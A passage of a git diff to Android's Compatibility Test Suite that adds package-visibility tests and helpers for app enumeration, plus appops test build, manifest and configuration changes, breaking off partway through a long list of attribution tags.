+        assertBroadcastSuspendedVisible(QUERIES_ACTIVITY_ACTION,
+                Arrays.asList(TARGET_FILTERS),
+                Arrays.asList(TARGET_NO_API, TARGET_FILTERS));
+    }
+
+    @Test
     public void queriesResolver_grantsVisibilityToProvider() throws Exception {
         assertNotVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
 
@@ -515,6 +750,53 @@
         assertVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
     }
 
+    @Test
+    public void bindService_consistentVisibility() throws Exception {
+        // Ensure package visibility isn't impacted by optimization or cached result.
+        // Target service shouldn't be visible to app without query permission even if
+        // another app with query permission is binding it.
+        assertServiceVisible(QUERIES_NOTHING_PERM, TARGET_FILTERS);
+        assertServiceNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
+    }
+
+    @Test
+    public void queriesPackage_canSeeSyncadapterTarget() throws Exception {
+        assertVisible(QUERIES_PACKAGE, TARGET_SYNCADAPTER, this::getSyncAdapterTypes);
+    }
+
+    @Test
+    public void queriesNothing_cannotSeeSyncadapterTarget() throws Exception {
+        assertNotVisible(QUERIES_NOTHING, TARGET_SYNCADAPTER, this::getSyncAdapterTypes);
+        assertNotVisible(QUERIES_NOTHING, TARGET_SYNCADAPTER_SHARED_USER,
+                this::getSyncAdapterTypes);
+    }
+
+    @Test
+    public void queriesNothingSharedUser_canSeeSyncadapterSharedUserTarget() throws Exception {
+        assertVisible(QUERIES_NOTHING_SHARED_USER, TARGET_SYNCADAPTER_SHARED_USER,
+                this::getSyncAdapterTypes);
+    }
+
+    @Test
+    public void launcherAppsIsActivityEnabled_queriesActivityAction_canSeeActivity()
+            throws Exception {
+        final ComponentName targetFilters = ComponentName.createRelative(TARGET_FILTERS,
+                ACTIVITY_CLASS_DUMMY_ACTIVITY);
+        assertThat(QUERIES_ACTIVITY_ACTION + " should be able to see " + targetFilters,
+                launcherAppsIsActivityEnabled(QUERIES_ACTIVITY_ACTION, targetFilters),
+                is(true));
+    }
+
+    @Test
+    public void launcherAppsIsActivityEnabled_queriesNothing_cannotSeeActivity()
+            throws Exception {
+        final ComponentName targetFilters = ComponentName.createRelative(TARGET_FILTERS,
+                ACTIVITY_CLASS_DUMMY_ACTIVITY);
+        assertThat(QUERIES_ACTIVITY_ACTION + " should not be able to see " + targetFilters,
+                launcherAppsIsActivityEnabled(QUERIES_NOTHING, targetFilters),
+                is(false));
+    }
+
     private void assertNotVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
@@ -525,10 +807,26 @@
         }
     }
 
+    private void assertServiceVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        assertTrue(bindService(sourcePackageName, targetPackageName));
+    }
+
+    private void assertServiceNotVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        assertFalse(bindService(sourcePackageName, targetPackageName));
+    }
+
     interface ThrowingBiFunction<T, U, R> {
         R apply(T arg1, U arg2) throws Exception;
     }
 
+    interface ThrowingFunction<T, R> {
+        R apply(T arg1) throws Exception;
+    }
+
     private void assertNotQueryable(String sourcePackageName, String targetPackageName,
             String intentAction, ThrowingBiFunction<String, Intent, String[]> commandMethod)
             throws Exception {
@@ -558,6 +856,40 @@
                 + intentAction);
     }
 
+    private void assertVisible(String sourcePackageName, String targetPackageName,
+            ThrowingFunction<String, String[]> commandMethod) throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        final String[] packageNames = commandMethod.apply(sourcePackageName);
+        assertThat(sourcePackageName + " should be able to see " + targetPackageName,
+                packageNames, hasItemInArray(targetPackageName));
+    }
+
+    private void assertNotVisible(String sourcePackageName, String targetPackageName,
+            ThrowingFunction<String, String[]> commandMethod) throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        final String[] packageNames = commandMethod.apply(sourcePackageName);
+        assertThat(sourcePackageName + " should not be able to see " + targetPackageName,
+                packageNames, not(hasItemInArray(targetPackageName)));
+    }
+
+    private void assertBroadcastSuspendedVisible(String sourcePackageName,
+            List<String> expectedVisiblePackages, List<String> packagesToSuspend)
+            throws Exception {
+        final Bundle extras = new Bundle();
+        extras.putStringArray(Intent.EXTRA_PACKAGES, packagesToSuspend.toArray(new String[] {}));
+        final Result result = sendCommand(sourcePackageName, /* targetPackageName */ null,
+                /* targetUid */ INVALID_UID, extras, Constants.ACTION_AWAIT_PACKAGES_SUSPENDED,
+                /* waitForReady */ true);
+        try {
+            setPackagesSuspended(true, packagesToSuspend);
+            final String[] suspendedPackages = result.await().getStringArray(Intent.EXTRA_PACKAGES);
+            assertThat(suspendedPackages, arrayContainingInAnyOrder(
+                    expectedVisiblePackages.toArray()));
+        } finally {
+            setPackagesSuspended(false, packagesToSuspend);
+        }
+    }
+
     private PackageInfo getPackageInfo(String sourcePackageName, String targetPackageName)
             throws Exception {
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
@@ -565,6 +897,52 @@
         return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
     }
 
+    private String[] getPackagesForUid(String sourcePackageName, int targetUid)
+            throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetUid,
+                /* intentExtra */ null, ACTION_GET_PACKAGES_FOR_UID);
+        return response.getStringArray(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private String getNameForUid(String sourcePackageName, int targetUid) throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetUid,
+                /* intentExtra */ null, ACTION_GET_NAME_FOR_UID);
+        return response.getString(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private String[] getNamesForUids(String sourcePackageName, int targetUid) throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetUid,
+                /* intentExtra */ null, ACTION_GET_NAMES_FOR_UIDS);
+        return response.getStringArray(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private int checkSignatures(String sourcePackageName, int targetUid) throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetUid,
+                /* intentExtra */ null, ACTION_CHECK_SIGNATURES);
+        return response.getInt(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private boolean hasSigningCertificate(String sourcePackageName, int targetUid, byte[] cert)
+            throws Exception {
+        final Bundle extra = new Bundle();
+        extra.putByteArray(EXTRA_CERT, cert);
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetUid, extra,
+                ACTION_HAS_SIGNING_CERTIFICATE);
+        return response.getBoolean(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private List<Certificate> convertSignaturesToCertificates(Signature[] signatures)
+            throws Exception {
+        final CertificateFactory cf = CertificateFactory.getInstance("X.509");
+        ArrayList<Certificate> certs = new ArrayList<>(signatures.length);
+        for (Signature signature : signatures) {
+            final InputStream is = new ByteArrayInputStream(signature.toByteArray());
+            final X509Certificate cert = (X509Certificate) cf.generateCertificate(is);
+            certs.add(cert);
+        }
+        return certs;
+    }
+
     private PackageInfo startForResult(String sourcePackageName, String targetPackageName)
             throws Exception {
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
@@ -579,7 +957,7 @@
                 new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
                         new ComponentName(targetPackageName,
                                 "android.appenumeration.cts.query.TestActivity")),
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
                 pendingIntent /*queryIntent*/, Constants.ACTION_START_SENDER_FOR_RESULT);
@@ -633,13 +1011,52 @@
                 ACTION_START_DIRECTLY);
     }
 
+    private boolean bindService(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
+                /* intentExtra */ null, ACTION_BIND_SERVICE);
+        return response.getBoolean(Intent.EXTRA_RETURN_RESULT);
+    }
+
+    private String[] getSyncAdapterTypes(String sourcePackageName) throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, /* targetPackageName */ null,
+                /* intentExtra */ null, ACTION_GET_SYNCADAPTER_TYPES);
+        final List<Parcelable> parcelables = response.getParcelableArrayList(
+                Intent.EXTRA_RETURN_RESULT);
+        return parcelables.stream()
+                .map(parcelable -> ((SyncAdapterType) parcelable).getPackageName())
+                .distinct()
+                .toArray(String[]::new);
+    }
+
+    private void setPackagesSuspended(boolean suspend, List<String> packages) {
+        final StringBuilder cmd = new StringBuilder("pm ");
+        if (suspend) {
+            cmd.append("suspend");
+        } else {
+            cmd.append("unsuspend");
+        }
+        cmd.append(" --user cur");
+        packages.stream().forEach(p -> cmd.append(" ").append(p));
+        runShellCommand(cmd.toString());
+    }
+
+    private boolean launcherAppsIsActivityEnabled(String sourcePackageName,
+            ComponentName componentName) throws Exception {
+        final Bundle extraData = new Bundle();
+        extraData.putString(Intent.EXTRA_COMPONENT_NAME, componentName.flattenToString());
+        final Bundle response = sendCommandBlocking(sourcePackageName, /* targetPackageName */ null,
+                extraData, ACTION_LAUNCHER_APPS_IS_ACTIVITY_ENABLED);
+        return response.getBoolean(Intent.EXTRA_RETURN_RESULT);
+    }
+
     interface Result {
         Bundle await() throws Exception;
     }
 
-    private Result sendCommand(String sourcePackageName,
-            @Nullable String targetPackageName,
-            @Nullable Parcelable intentExtra, String action) {
+    private Result sendCommand(String sourcePackageName, @Nullable String targetPackageName,
+            int targetUid, @Nullable Parcelable intentExtra, String action, boolean waitForReady)
+            throws Exception {
         final Intent intent = new Intent(action)
                 .setComponent(new ComponentName(sourcePackageName, ACTIVITY_CLASS_TEST))
                 // data uri unique to each activity start to ensure actual launch and not just
@@ -649,11 +1066,16 @@
         if (targetPackageName != null) {
             intent.putExtra(Intent.EXTRA_PACKAGE_NAME, targetPackageName);
         }
+        if (targetUid > INVALID_UID) {
+            intent.putExtra(Intent.EXTRA_UID, targetUid);
+        }
         if (intentExtra != null) {
             if (intentExtra instanceof Intent) {
                 intent.putExtra(Intent.EXTRA_INTENT, intentExtra);
             } else if (intentExtra instanceof PendingIntent) {
                 intent.putExtra("pendingIntent", intentExtra);
+            } else if (intentExtra instanceof Bundle) {
+                intent.putExtra(EXTRA_DATA, intentExtra);
             }
         }
 
@@ -666,7 +1088,11 @@
                 },
                 sResponseHandler);
         intent.putExtra(EXTRA_REMOTE_CALLBACK, callback);
-        InstrumentationRegistry.getInstrumentation().getContext().startActivity(intent);
+        if (waitForReady) {
+            startAndWaitForCommandReady(intent);
+        } else {
+            InstrumentationRegistry.getInstrumentation().getContext().startActivity(intent);
+        }
         return () -> {
             if (!latch.block(TimeUnit.SECONDS.toMillis(10))) {
                 throw new TimeoutException(
@@ -680,11 +1106,42 @@
         };
     }
 
+    private void startAndWaitForCommandReady(Intent intent) throws Exception {
+        final ConditionVariable latchForReady = new ConditionVariable();
+        final RemoteCallback readyCallback = new RemoteCallback(bundle -> latchForReady.open(),
+                sResponseHandler);
+        intent.putExtra(EXTRA_REMOTE_READY_CALLBACK, readyCallback);
+        InstrumentationRegistry.getInstrumentation().getContext().startActivity(intent);
+        if (!latchForReady.block(TimeUnit.SECONDS.toMillis(10))) {
+            throw new TimeoutException(
+                    "Latch timed out while awiating a response from command " + intent.getAction());
+        }
+    }
+
     private Bundle sendCommandBlocking(String sourcePackageName, @Nullable String targetPackageName,
             @Nullable Parcelable intentExtra, String action)
             throws Exception {
-        Result result = sendCommand(sourcePackageName, targetPackageName, intentExtra, action);
+        final Result result = sendCommand(sourcePackageName, targetPackageName,
+                /* targetUid */ INVALID_UID, intentExtra, action, /* waitForReady */ false);
         return result.await();
     }
 
+    private Bundle sendCommandBlocking(String sourcePackageName, int targetUid,
+            @Nullable Parcelable intentExtra, String action)
+            throws Exception {
+        final Result result = sendCommand(sourcePackageName, /* targetPackageName */ null,
+                targetUid, intentExtra, action, /* waitForReady */ false);
+        return result.await();
+    }
+
+    private void ensurePackageIsInstalled(String packageName, String apkPath) {
+        runShellCommand("pm install -R " + apkPath);
+        PackageInfo info = null;
+        try {
+            info = sPm.getPackageInfo(packageName, /* flags */ 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            // Ignore
+        }
+        Assert.assertNotNull(packageName + " should be installed", info);
+    }
 }
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 48f9647..d4547f5 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -37,6 +37,25 @@
     ],
 }
 
+cc_test_library {
+    name: "libNDKCtsAppOpsTestCases_jni",
+
+    stl: "libc++_static",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+
+    srcs: ["ndk-jni/**/*.cpp"],
+
+    header_libs: ["jni_headers"],
+    shared_libs: [
+        "libaaudio",
+    ],
+}
+
 android_test {
     name: "CtsAppOpsTestCases",
 
@@ -91,10 +110,12 @@
         "libziparchive",
         "libz",
         "libCtsAppOpsTestCases_jni",
+        "libNDKCtsAppOpsTestCases_jni",
     ],
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/appop/AndroidManifest.xml b/tests/tests/appop/AndroidManifest.xml
index 0c89b6e..6798305 100644
--- a/tests/tests/appop/AndroidManifest.xml
+++ b/tests/tests/appop/AndroidManifest.xml
@@ -26,8 +26,12 @@
   <attribution android:tag="secondProxyAttribution" android:label="@string/dummyLabel" />
 
   <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-  <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
   <uses-permission android:name="android.permission.BLUETOOTH" />
+  <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+  <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE"/>
+  <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+  <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+  <uses-permission android:name="android.permission.READ_LOGS" />
 
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
   <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
@@ -37,15 +41,32 @@
 
   <uses-permission android:name="android.permission.CAMERA" />
 
+  <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
   <uses-permission android:name="android.permission.READ_PHONE_STATE" />
 
   <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
+  <uses-permission android:name="android.permission.SEND_SMS" />
+
   <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
   <application>
       <uses-library android:name="android.test.runner"/>
       <activity android:name=".UidStateForceActivity" />
+      <receiver android:name=".PublicActionReceiver"
+                android:exported="false">
+          <intent-filter>
+              <action android:name="android.app.appops.cts.PUBLIC_ACTION" />
+          </intent-filter>
+      </receiver>
+      <receiver android:name=".ProtectedActionReceiver"
+                android:exported="false"
+                android:permission="android.permission.READ_CONTACTS">
+          <intent-filter>
+              <action android:name="android.app.appops.cts.PROTECTED_ACTION" />
+          </intent-filter>
+      </receiver>
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/appop/AndroidTest.xml b/tests/tests/appop/AndroidTest.xml
index 29f01e0..b80faaf 100644
--- a/tests/tests/appop/AndroidTest.xml
+++ b/tests/tests/appop/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -44,6 +45,7 @@
         <option name="push-file" key="AppWithAttributionInheritingFromSelf.apk" value="/data/local/tmp/cts/appops/AppWithAttributionInheritingFromSelf.apk" />
         <option name="push-file" key="AppWithLongAttributionTag.apk" value="/data/local/tmp/cts/appops/AppWithLongAttributionTag.apk" />
         <option name="push-file" key="AppWithTooManyAttributions.apk" value="/data/local/tmp/cts/appops/AppWithTooManyAttributions.apk" />
+        <option name="push-file" key="CtsAppWithReceiverAttribution.apk" value="/data/local/tmp/cts/appops/CtsAppWithReceiverAttribution.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/appop/AppInBackground/Android.bp b/tests/tests/appop/AppInBackground/Android.bp
index 40aac43..be4e36f 100644
--- a/tests/tests/appop/AppInBackground/Android.bp
+++ b/tests/tests/appop/AppInBackground/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
index 2928c5e..67a147b 100644
--- a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
+++ b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
index a80f8d3..3212fd9 100644
--- a/tests/tests/appop/AppThatUsesAppOps/Android.bp
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -62,5 +62,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppToBlame1/Android.bp b/tests/tests/appop/AppToBlame1/Android.bp
index 7f61da8..324871a 100644
--- a/tests/tests/appop/AppToBlame1/Android.bp
+++ b/tests/tests/appop/AppToBlame1/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="1">
+  <uses-sdk android:targetSdkVersion="28" />
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution2" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution3" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution4" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution5" android:label="@string/dummyLabel" />
 
-  <application />
+  <application android:debuggable="true"/>
 
 </manifest>
diff --git a/tests/tests/appop/AppToBlame2/Android.bp b/tests/tests/appop/AppToBlame2/Android.bp
index d56247d..8ab5d12 100644
--- a/tests/tests/appop/AppToBlame2/Android.bp
+++ b/tests/tests/appop/AppToBlame2/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="2">
+  <uses-sdk android:targetSdkVersion="29"/>
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution6" android:label="@string/dummyLabel">
     <inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/AppToCollect/Android.bp b/tests/tests/appop/AppToCollect/Android.bp
index ce08997..15e6ec7 100644
--- a/tests/tests/appop/AppToCollect/Android.bp
+++ b/tests/tests/appop/AppToCollect/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
index 2677c7e..cfe96db 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
index 43d19e3..dc51700 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
index f91b619..640ea8f 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
index d290843..71c5564 100644
--- a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
+++ b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithLongAttributionTag/Android.bp b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
index b971b0d..29748ee 100644
--- a/tests/tests/appop/AppWithLongAttributionTag/Android.bp
+++ b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithReceiverAttribution/Android.bp b/tests/tests/appop/AppWithReceiverAttribution/Android.bp
new file mode 100644
index 0000000..3aa5569
--- /dev/null
+++ b/tests/tests/appop/AppWithReceiverAttribution/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppWithReceiverAttribution",
+
+    srcs: ["src/**/*.java"],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ]
+}
diff --git a/tests/tests/appop/AppWithReceiverAttribution/AndroidManifest.xml b/tests/tests/appop/AppWithReceiverAttribution/AndroidManifest.xml
new file mode 100644
index 0000000..6c15184
--- /dev/null
+++ b/tests/tests/appop/AppWithReceiverAttribution/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.appops.cts.appwithreceiverattribution"
+    android:version="1">
+  <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
+  <attribution android:tag="attribution2" android:label="@string/dummyLabel" />
+  <attribution android:tag="attribution3" android:label="@string/dummyLabel" />
+  <uses-permission android:name="android.permission.READ_CONTACTS" />
+
+  <application android:debuggable="true">
+    <receiver android:name=".TestReceiver" android:attributionTags="attribution1|attribution2"
+      android:exported="true">
+    <intent-filter>
+      <action android:name="ACTION_TEST" />
+    </intent-filter>
+    </receiver>
+  </application>
+
+</manifest>
diff --git a/tests/tests/appop/AppWithReceiverAttribution/res/values/strings.xml b/tests/tests/appop/AppWithReceiverAttribution/res/values/strings.xml
new file mode 100644
index 0000000..2d02f14
--- /dev/null
+++ b/tests/tests/appop/AppWithReceiverAttribution/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="dummyLabel">A feature</string>
+</resources>
diff --git a/tests/tests/appop/AppWithReceiverAttribution/src/android/app/appops/cts/appwithreceiverattribution/TestReceiver.java b/tests/tests/appop/AppWithReceiverAttribution/src/android/app/appops/cts/appwithreceiverattribution/TestReceiver.java
new file mode 100644
index 0000000..998192e
--- /dev/null
+++ b/tests/tests/appop/AppWithReceiverAttribution/src/android/app/appops/cts/appwithreceiverattribution/TestReceiver.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appops.cts.appwithreceiverattribution;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class TestReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+    }
+}
diff --git a/tests/tests/appop/AppWithTooManyAttributions/Android.bp b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
index 77ccfac..c495251 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/Android.bp
+++ b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
@@ -22,5 +22,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
index debdb8e..0df2178 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
+++ b/tests/tests/appop/AppWithTooManyAttributions/AndroidManifest.xml
@@ -19,7 +19,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.appwithtoomanyattributions">
 
-  <!-- 1000 attributions are allowed -->
+  <!-- 10000 attributions are allowed -->
   <attribution android:tag="f0" android:label="@string/dummyLabel" />
   <attribution android:tag="f1" android:label="@string/dummyLabel" />
   <attribution android:tag="f2" android:label="@string/dummyLabel" />
@@ -1020,6 +1020,9006 @@
   <attribution android:tag="f997" android:label="@string/dummyLabel" />
   <attribution android:tag="f998" android:label="@string/dummyLabel" />
   <attribution android:tag="f999" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1000" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1001" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1002" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1003" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1004" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1005" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1006" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1007" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1008" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1009" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1010" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1011" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1012" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1013" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1014" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1015" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1016" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1017" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1018" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1019" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1020" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1021" android:label="@string/dummyLabel" />
+  <attribution android:tag="f1022" android:label="@string/dummyLabel" />
